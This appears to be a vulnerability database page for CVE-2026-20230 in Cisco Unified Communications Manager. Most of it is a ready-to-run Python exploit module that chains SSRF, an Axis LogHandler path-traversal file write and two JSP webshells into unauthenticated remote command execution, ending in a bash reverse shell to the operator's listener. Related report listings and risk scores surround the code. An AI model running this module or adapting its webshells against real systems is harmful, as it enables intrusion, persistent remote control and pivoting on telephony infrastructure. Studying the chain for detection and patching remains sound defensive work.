Cisco CUCM CVE-2026-20230 SSRF to arbitrary file write RCE
| Reporter | Title | Published | Views | Family All 26 |
|---|---|---|---|---|
| Exploit for CVE-2026-20230 | 12 Jun 202619:47 | – | githubexploit | |
| Exploit for CVE-2026-20230 | 25 Jun 202609:56 | – | githubexploit | |
| CVE-2026-20230 | 3 Jun 202616:09 | – | attackerkb | |
| WebDialer SSRF | 5 Jun 202600:00 | – | bdu_fstec | |
| CVE-2026-20230 | 3 Jun 202612:22 | – | circl | |
| Cisco Unified Communications Manager Server-Side Request Forgery (SSRF) Vulnerability | 25 Jun 202600:00 | – | cisa_kev | |
| Cisco Unified Communications Manager Server-Side Request Forgery Vulnerability | 3 Jun 202616:00 | – | cisco | |
| Cisco Unified Communications Manager (CUCM) 14.x < 14SU6 / 15.x < 15SU5 SSRF (cisco-sa-cucm-ssrf-cXPnHcW) | 5 Jun 202600:00 | – | nessus | |
| Cisco Unified Communications Manager 代码问题漏洞 | 3 Jun 202600:00 | – | cnnvd | |
| CVE-2026-20230 | 3 Jun 202616:09 | – | cve |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from __future__ import annotations
import re
import time
import urllib.parse
from typing import Optional
from kittysploit import *
from lib.protocols.http.http_client import Http_client
_AXIS2_WEB = "/platform-services/axis2-web"
_LOG_TRAVERSAL = "../../../../../../../../../../../../common/log/taos-log-a/tomcat/webapps/platform-services/axis2-web"
_CMD_SHELL_TRAVERSAL = "../../../../../../../common/log/taos-log-a/tomcat/webapps/platform-services/axis2-web"
class _JspCmdChannel:
"""Bridge the deployed JSP webshell into an interactive shell session."""
def __init__(self, execute_fn):
self.run_command = execute_fn
class Module(Exploit, Http_client):
__info__ = {
"name": "Cisco CUCM CVE-2026-20230 SSRF to arbitrary file write RCE",
"description": (
"CVE-2026-20230 chains SSRF via /cmplatform/installClusterStatusExecute, "
"Axis LogHandler arbitrary file write, and JSP webshell deployment to obtain "
"remote command execution on Cisco Unified Communications Manager 15.0.1.13901-2. "
"Opens an interactive HTTP command shell and optionally dispatches the selected "
"reverse payload through the framework listener."
),
"author": ["KittySploit Team"],
"cve": ["CVE-2026-20230"],
"platform": Platform.LINUX,
"arch": [Arch.X86, Arch.X64],
"references": [],
"tags": [
"cisco",
"cucm",
"ucm",
"ssrf",
"axis",
"jsp",
"file-write",
"rce",
"unauthenticated",
"cve-2026-20230",
],
"payload": {
"default": "payloads/singles/cmd/unix/bash_reverse_tcp",
"platform": Platform.UNIX,
"category": PayloadCategory.CMD,
},
"agent": {
"risk": "intrusive",
"effects": ["active_exploitation"],
"expected_requests": 6,
"reversible": False,
"approval_required": True,
"produces": ["exploit_paths", "risk_signals"],
"cost": 1.5,
"noise": 0.5,
"value": 1.0,
"requires": {
"min_endpoints": 0,
"min_params": 0,
"tech_hints_any": [],
"tech_hints_all": [],
"specializations_any": [],
"risk_signals_any": [],
"auth_session": False,
"capabilities_any": [],
"capabilities_all": [],
"confidence_min": {},
"confidence_min_any": {},
"endpoint_pattern_any": [],
"param_any": [],
"api_surface_ready": False,
},
"chain": {
"produces_capabilities": [
{"capability": "rce", "from_detail": ""},
{"capability": "shell", "from_detail": ""},
],
"consumes_capabilities": [],
"option_bindings": {},
"suggested_followups": [
"post/shell/multi/gather/privesc_suggester",
"post/shell/multi/manage/pivot_autoroute",
],
},
},
}
port = OptPort(443, "Target HTTPS port", required=True)
ssl = OptBool(True, "Use HTTPS", required=True)
hostname = OptString("", "Real CUCM hostname (skip WSDL discovery when set)", required=False)
command = OptString("", "Command to execute instead of the selected payload", required=False)
axis_service = OptString("randomR11", "Axis service name deployed via SSRF", required=False)
webshell_name = OptString("aaa.jsp", "Initial file-write webshell filename", required=False)
cmd_shell_name = OptString("c.jsp", "Command execution webshell filename", required=False)
shell_pwd = OptString("123", "Password parameter for the command webshell", required=False)
step_delay = OptFloat(0.5, "Seconds to wait between exploit stages", required=False, advanced=True)
verify_rce = OptBool(True, "Verify command execution with an echo probe", required=False, advanced=True)
def __init__(self, framework=None):
super().__init__(framework)
self._resolved_hostname: Optional[str] = None
self._cmd_shell_path: Optional[str] = None
self._session_connections: dict = {}
def _service_headers(self) -> dict:
return {
"Referer": f"https://{self.target}:{self.port}/webdialer/services",
}
def _resolve_command(self) -> str:
custom = str(self.command or "").strip()
if custom:
return custom
raw = self.payload
if isinstance(raw, bytes):
return raw.decode("utf-8", errors="ignore")
return str(raw or "").strip()
def _shell_wrap(self, command: str) -> str:
cmd = str(command or "").strip()
if not cmd:
return cmd
if cmd.startswith("/") or cmd.startswith("bash ") or cmd.startswith("sh "):
return cmd
return f"/bin/sh -c {cmd!r}"
def _get_hostname(self) -> Optional[str]:
manual = str(self.hostname or "").strip()
if manual:
print_success(f"Using supplied hostname: {manual}")
return manual
print_status("Discovering real hostname via /webdialer/Version.jws?wsdl")
response = self.http_request(
method="GET",
path="/webdialer/Version.jws",
params={"wsdl": ""},
timeout=10,
)
if not response or response.status_code != 200:
print_error(
f"Failed to fetch WSDL (HTTP {getattr(response, 'status_code', 'no response')})"
)
return None
match = re.search(r'location="https?://([^"/]+)', response.text or "")
if match:
discovered = match.group(1)
print_success(f"Hostname discovered: {discovered}")
return discovered
print_warning("Could not parse hostname from WSDL, falling back to target IP")
return str(self.target)
def _build_deployment_xml(self) -> str:
service = str(self.axis_service or "randomR11")
webshell = str(self.webshell_name or "aaa.jsp")
return (
'!--><deployment xmlns="http://xml.apache.org/axis/wsdd/" '
'xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">'
f'<service name="{service}" provider="java:RPC">'
"<requestFlow>"
'<handler type="java:org.apache.axis.handlers.LogHandler">'
'<parameter name="LogHandler.fileName" '
f'value="{_LOG_TRAVERSAL}/{webshell}"/>'
'<parameter name="LogHandler.writeToConsole" value="false"/>'
"</handler>"
"</requestFlow>"
'<parameter name="className" value="java.util.Random"/>'
'<parameter name="allowedMethods" value="*"/>'
"</service>"
"</deployment"
)
def _ssrf_create_axis_service(self, hostname: str) -> bool:
base_path = (
f"{hostname}/webdialer/services/AdminService/platformcom/api/v1/"
f"software/installstages/"
)
deployment_xml = self._build_deployment_xml()
encoded_deployment = urllib.parse.quote(deployment_xml, safe="")
payload_path = f"{base_path}?method={encoded_deployment}"
hostname_param = urllib.parse.quote(payload_path, safe="")
print_status("Creating Axis service via SSRF")
# hostname is already double-encoded; append the query string manually so
# requests does not percent-encode the payload again.
query = (
"action=clusterNodeInstallStatus"
f"&hostname={hostname_param}"
"&filename=bbbbbb"
)
response = self.http_request(
method="GET",
path=f"/cmplatform/installClusterStatusExecute?{query}",
headers=self._service_headers(),
timeout=15,
)
if not response:
print_error("No response from SSRF endpoint")
return False
if response.status_code == 200:
print_success("Axis service creation request accepted")
return True
print_error(f"Unexpected SSRF response: HTTP {response.status_code}")
return False
def _verify_axis_service(self) -> bool:
service = str(self.axis_service or "randomR11")
print_status(f"Checking for deployed Axis service {service}")
response = self.http_request(
method="GET",
path="/webdialer/services",
timeout=10,
)
if response and response.status_code == 200 and service in (response.text or ""):
print_success(f"Axis service {service} is listed")
return True
print_warning(f"Could not confirm Axis service {service}")
return False
def _write_initial_webshell(self) -> bool:
service = str(self.axis_service or "randomR11")
webshell_code = (
'<%if(request.getParameter("f")!=null)'
'(new java.io.FileOutputStream('
'application.getRealPath("/")+request.getParameter("f")))'
'.write(request.getParameter("t").getBytes());%>'
)
payload = f"<![CDATA[\n{webshell_code}\n]]>"
print_status(f"Writing initial webshell via /webdialer/services/{service}")
response = self.http_request(
method="GET",
path=f"/webdialer/services/{service}",
params={"method": "nextInt", "arg0": payload},
headers=self._service_headers(),
timeout=15,
)
if not response:
print_error("No response while writing initial webshell")
return False
print_success("Initial webshell write request completed")
return True
def _build_cmd_shell_jsp(self) -> str:
pwd = str(self.shell_pwd or "123")
return (
f'<% if("{pwd}".equals(request.getParameter("pwd")))' "{"
" java.io.InputStream in = Runtime.getRuntime().exec("
'request.getParameter("i")).getInputStream();'
" int a = -1;"
" byte[] b = new byte[2048];"
' out.print("<pre>");'
" while((a=in.read(b))!=-1){ out.println(new String(b)); }"
' out.print("</pre>");'
" } %>"
)
def _write_command_shell(self) -> bool:
webshell = str(self.webshell_name or "aaa.jsp")
cmd_shell = str(self.cmd_shell_name or "c.jsp")
self._cmd_shell_path = f"{_AXIS2_WEB}/{cmd_shell}"
print_status(f"Deploying command webshell at {self._cmd_shell_path}")
response = self.http_request(
method="GET",
path=f"{_AXIS2_WEB}/{webshell}",
params={
"f": f"{_CMD_SHELL_TRAVERSAL}/{cmd_shell}",
"t": self._build_cmd_shell_jsp(),
},
timeout=15,
)
if not response:
print_error("No response while writing command webshell")
return False
print_success("Command webshell write request completed")
return True
def _parse_cmd_output(self, body: str) -> str:
text = str(body or "")
match = re.search(r"<pre>(.*?)</pre>", text, re.DOTALL | re.IGNORECASE)
if match:
return match.group(1).strip()
return text.strip()
def _execute_raw(self, command: str) -> Optional[str]:
if not self._cmd_shell_path:
self._cmd_shell_path = f"{_AXIS2_WEB}/{self.cmd_shell_name or 'c.jsp'}"
response = self.http_request(
method="GET",
path=self._cmd_shell_path,
params={
"pwd": str(self.shell_pwd or "123"),
"i": command,
},
timeout=20,
)
if not response:
return None
if response.status_code != 200:
print_error(f"Command execution failed: HTTP {response.status_code}")
return None
return self._parse_cmd_output(response.text or "")
def execute(self, cmd: str) -> str:
wrapped = self._shell_wrap(cmd)
output = self._execute_raw(wrapped)
return output if output is not None else ""
def check(self):
try:
print_info(f"Checking {self.target}:{self.port} for Cisco CUCM webdialer WSDL")
response = self.http_request(
method="GET",
path="/webdialer/Version.jws",
params={"wsdl": ""},
timeout=10,
)
if not response:
return {
"vulnerable": False,
"reason": "No HTTP response from /webdialer/Version.jws",
"confidence": "low",
}
body = (response.text or "").lower()
if response.status_code == 200 and ("webdialer" in body or "wsdl" in body):
return {
"vulnerable": True,
"reason": "CUCM webdialer WSDL endpoint is accessible",
"confidence": "medium",
}
return {
"vulnerable": False,
"reason": f"Unexpected response from WSDL endpoint (HTTP {response.status_code})",
"confidence": "low",
}
except Exception as exc:
return {
"vulnerable": False,
"reason": f"Check failed: {exc}",
"confidence": "low",
}
def _deploy_chain(self) -> bool:
self._resolved_hostname = self._get_hostname()
if not self._resolved_hostname:
return False
if not self._ssrf_create_axis_service(self._resolved_hostname):
return False
if self.step_delay:
time.sleep(float(self.step_delay))
self._verify_axis_service()
if not self._write_initial_webshell():
return False
if self.step_delay:
time.sleep(float(self.step_delay))
if not self._write_command_shell():
return False
if self.step_delay:
time.sleep(float(self.step_delay))
return True
def _open_webshell_session(self) -> Optional[str]:
if not self.framework or not hasattr(self.framework, "session_manager"):
print_warning("Framework session manager unavailable; webshell session not registered")
return None
session_id = self.framework.session_manager.create_session(
host=str(self.target),
port=int(self.port),
session_type="http_cmd",
data={
"protocol": "https" if self.ssl else "http",
"uripath": self._cmd_shell_path,
"platform": "linux",
"exploit_module": "cisco_cucm_cve_2026_20230",
},
)
self._session_connections[session_id] = _JspCmdChannel(self.execute)
print_success(f"HTTP command shell session opened: {session_id}")
print_info(f"Webshell path: {self._cmd_shell_path}")
print_info("Use 'sessions -i <id>' for an interactive shell")
return session_id
def _dispatch_reverse_payload(self, command: str) -> None:
if self.disablePayloadHandler:
return
if not command:
print_warning("No reverse payload generated; only the HTTP command shell is available")
return
lhost = self.lhost
lport = self.lport
if lhost and lport:
print_status(f"Dispatching reverse shell payload to {lhost}:{lport}")
else:
print_status("Dispatching reverse shell payload")
self.execute(command)
def run(self):
print_info(f"Target: {self.target}:{self.port}")
print_warning("CVE-2026-20230: SSRF -> Axis file write -> JSP command shell")
if not self._deploy_chain():
self.not_vulnerable()
return False
if self.verify_rce:
token = self.random_text(10)
probe = self.execute(f"echo {token}")
if token not in probe:
print_error("Echo verification failed; target may be patched or hostname incorrect")
self.not_vulnerable()
return False
print_success("Command execution verified")
session_id = self._open_webshell_session()
if not session_id:
self.not_vulnerable()
return False
payload_cmd = self._resolve_command()
self._dispatch_reverse_payload(payload_cmd)
self.vulnerable()
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Sep 2026 12:42Current
8.6High risk
Vulners AI Score8.6
CVSS 3.18.6
EPSS0.882
SSVC